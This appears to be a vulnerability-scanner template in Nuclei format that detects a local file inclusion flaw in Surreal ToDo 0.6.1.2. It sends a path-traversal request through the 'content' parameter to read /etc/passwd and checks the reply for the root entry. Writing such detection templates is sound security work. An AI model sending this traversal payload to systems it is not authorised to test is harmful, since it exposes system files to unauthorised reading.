id: surrealtodo-lfi

info:
  name: Surreal ToDo 0.6.1.2 - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
    Surreal ToDo 0.6.1.2 is vulnerable to local file inclusion via index.php and the content parameter.
  reference:
    - https://www.exploit-db.com/exploits/45826
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
  tags: surreal,lfi,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?content=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a585204a922f266daa3c7818274990eeba6a42806058a702765b6937ccf9271b02203ac904de9a8a533f8142410a9f873470d4e247020c62752b38ea6bc879c0382c:922c64590222798bb761d5b6d8e72950